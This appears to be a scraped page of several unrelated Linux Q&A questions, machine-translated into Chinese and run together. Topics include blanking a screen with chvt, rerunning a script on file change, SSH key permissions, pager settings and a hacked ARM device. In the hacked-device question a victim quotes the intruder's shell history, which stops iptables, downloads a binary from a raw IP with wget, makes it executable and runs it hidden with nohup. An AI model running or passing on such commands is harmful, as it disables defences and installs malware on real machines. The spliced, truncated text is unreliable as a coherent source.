我的孩子(4 岁和 5 岁)在电脑上玩游戏时会大喊大叫。我找到了一种有效的治疗方法。当我听到很大的噪音时,我会进入游戏计算机并执行以下操作:
chvt 3; sleep 15; chvt 7
Run Code Online (Sandbox Code Playgroud)
这将在 Linux 上关闭屏幕 15 秒。我告诉他们电脑不喜欢大声喧哗。他们完全相信这一点,并请求计算机原谅。他们变得更安静了,但没有达到我会高兴的程度,所以我需要继续这个教育过程。但是,我并不总是手动执行此操作。
是否可以自动执行此操作?麦克风附在盒子上。如果响度水平超过某个阈值,那么我想运行一个命令。
我想要一种快速而简单的方法来在文件更改时执行命令。我想要一些非常简单的东西,我会在终端上运行并在我完成处理该文件时关闭它。
目前,我正在使用这个:
while read; do ./myfile.py ; done
Run Code Online (Sandbox Code Playgroud)
然后Enter,每当我将该文件保存在我的编辑器中时,我都需要转到该终端并按。我想要的是这样的:
while sleep_until_file_has_changed myfile.py ; do ./myfile.py ; done
Run Code Online (Sandbox Code Playgroud)
或任何其他简单的解决方案。
顺便说一句:我正在使用 Vim,我知道我可以添加一个自动命令来在 BufWrite 上运行一些东西,但这不是我现在想要的那种解决方案。
更新:如果可能的话,我想要一些简单的、可丢弃的。更重要的是,我想在终端中运行一些东西,因为我想查看程序输出(我想查看错误消息)。
关于答案:感谢您的所有回答!他们都非常好,每个人都采用与其他人截然不同的方法。因为我只需要接受一个,所以我接受了我实际使用过的一个(它简单、快速且易于记忆),尽管我知道它不是最优雅的。
我有一个带有Suse Linux 10.3的 VPS 。
我已经通过SSH/putty登录并试图找到我的网络文件所在的位置。
由于我通过 FTP 在名为httpdocs的目录中上传,因此我假设该目录存在于某处。
我的谷歌搜索教会了我这样做,转到我的根目录并输入:
find httpdocs -type d
但它说“没有这样的文件或目录”。
我怎样才能找到这个目录?
我更改了.ssh文件夹中的权限,现在当我使用使用我的私钥的软件时,我每次都必须输入密码。id_rsa每次使用使用它的应用程序时,我对文件的权限应该是什么?
目前我的权限设置为:
-rw-------@ 1 Jody staff 114 Nov 4 23:29 config
-rw------- 1 Jody staff 1743 Oct 21 2009 id_rsa
-rw-------@ 1 Jody staff 397 Oct 21 2009 id_rsa.pub
-rw-------@ 1 Jody staff 3855 Sep 13 22:35 known_hosts
Run Code Online (Sandbox Code Playgroud) 有时,当我登录一个盒子并用“su”root 时,我会收到一条可爱的小消息,说我有邮件(感谢上帝,这不是 AOL)。
这甚至是与电子邮件具有相同意义的实际“邮件”吗?或者只是我的系统告诉我什么?
编辑:关于这个问题,我是否可以像这样使用 sendmail 程序给自己发送邮件:email@localhost?
简短版本:如何使lessLinux 中的实用程序不换行?
长版本:我经常需要使用较少的数百列来查看巨大的 CSV 文件。我经常只关心前几列。但是,即使在宽屏显示器上,自动换行也会导致一行变成多行。
我正在开发一个消费产品,它应该连接到互联网,所以正如预期的那样,它连接到互联网以便我可以正确地开发它。
我离开了一两个小时,当我回到办公室时,我注意到终端上写着一些奇怪的命令。
查看名为auth.log我的 Linux 日志文件,我可以看到以下几行(还有更多):
Feb 1 10:45:10 debian-armhf sshd[994]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=40.127.205.162 user=root
Feb 1 10:45:12 debian-armhf sshd[994]: Failed password for root from 40.127.205.162 port 37198 ssh2
Feb 1 10:45:12 debian-armhf sshd[994]: Received disconnect from 40.127.205.162: 11: Bye Bye [preauth]
Run Code Online (Sandbox Code Playgroud)
40.127.205.162事实证明,该 IP 地址归 Microsoft 所有。
以下是我不在时使用的一堆命令:
355 service iptables stop
356 cd /tmp
357 wget http://222.186.30.209:65534/yjz1
358 chmod 0755 /tmp/yjz1
359 nohup /tmp/yjz1 > /dev/null 2>&1 &
360 …Run Code Online (Sandbox Code Playgroud) 当我在 Linux 中使用命令lessor读取文件时more,如何以颜色获取内容?